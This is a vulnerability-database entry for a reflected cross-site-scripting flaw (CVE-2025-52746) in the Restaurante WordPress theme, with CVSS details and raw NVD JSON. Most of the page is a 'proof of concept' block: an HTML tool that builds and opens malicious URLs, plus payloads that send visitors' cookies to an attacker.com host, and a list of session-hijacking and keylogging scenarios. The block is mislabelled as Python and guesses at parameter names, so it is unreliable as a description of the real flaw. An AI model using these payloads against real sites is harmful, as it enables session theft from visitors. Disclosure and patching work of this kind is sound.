Security Vulnerability Report
中文
CVE-2025-52746 CVSS 7.1 HIGH

CVE-2025-52746

Published: 2026-01-22 17:15:58
Last Modified: 2026-04-27 17:16:27

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ayecode Restaurante restaurante allows Reflected XSS.This issue affects Restaurante: from n/a through <= 3.0.7.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Restaurante主题 <= 3.0.7(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-52746 Reflected XSS PoC --> <!-- Target: ayecode Restaurante WordPress Theme <= 3.0.7 --> <!-- Author: Security Researcher --> <!-- PoC URL (modify target domain) --> <!-- https://vulnerable-site.com/?s=<script>alert('XSS')</script> or https://vulnerable-site.com/?search=<img src=x onerror=alert(document.cookie)> or https://vulnerable-site.com/?restaurante_param=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> --> <!-- HTML PoC --> <!DOCTYPE html> <html> <head> <title>CVE-2025-52746 PoC</title> </head> <body> <h1>CVE-2025-52746 Reflected XSS PoC</h1> <p>Target: ayecode Restaurante WordPress Theme <= 3.0.7</p> <h2>Malicious URL Generator</h2> <form id="pocForm"> <label>Target URL:</label> <input type="text" id="targetUrl" value="https://example.com" size="60"><br><br> <label>XSS Payload:</label> <input type="text" id="payload" value="<script>alert(document.domain)</script>" size="60"><br><br> <button type="button" onclick="generateMaliciousUrl()">Generate Malicious URL</button> </form> <br> <p>Generated Malicious URL:</p> <textarea id="maliciousUrl" rows="3" cols="80" readonly></textarea> <br><br> <button onclick="copyToClipboard()">Copy URL</button> <button onclick="openInNewTab()">Open in New Tab</button> <script> function generateMaliciousUrl() { const targetUrl = document.getElementById('targetUrl').value; const payload = document.getElementById('payload').value; const maliciousUrl = targetUrl + '/?s=' + encodeURIComponent(payload); document.getElementById('maliciousUrl').value = maliciousUrl; } function copyToClipboard() { const url = document.getElementById('maliciousUrl').value; navigator.clipboard.writeText(url); alert('URL copied to clipboard!'); } function openInNewTab() { const url = document.getElementById('maliciousUrl').value; window.open(url, '_blank'); } </script> <h2>Attack Scenarios</h2> <ul> <li><strong>Cookie Stealing:</strong> <script>fetch('https://attacker.com?c='+document.cookie)</script></li> <li><strong>Session Hijacking:</strong> Payload that sends session token to attacker server</li> <li><strong>Keylogging:</strong> Payload that captures keystrokes and sends to attacker</li> <li><strong>DOM Manipulation:</strong> Payload that modifies page content for phishing</li> </ul> <h2>Mitigation</h2> <ul> <li>Upgrade Restaurante theme to version > 3.0.7</li> <li>Use WAF (Web Application Firewall) rules to block XSS attempts</li> <li>Implement Content Security Policy (CSP) headers</li> <li>Use input validation and output encoding</li> </ul> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52746", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:15:57.500", "lastModified": "2026-04-27T17:16:26.700", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ayecode Restaurante restaurante allows Reflected XSS.This issue affects Restaurante: from n/a through <= 3.0.7."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en ayecode Restaurante restaurante permite XSS Reflejado. Este problema afecta a Restaurante: desde n/d hasta &lt;= 3.0.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/restaurante/vulnerability/wordpress-restaurante-theme-3-0-7-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}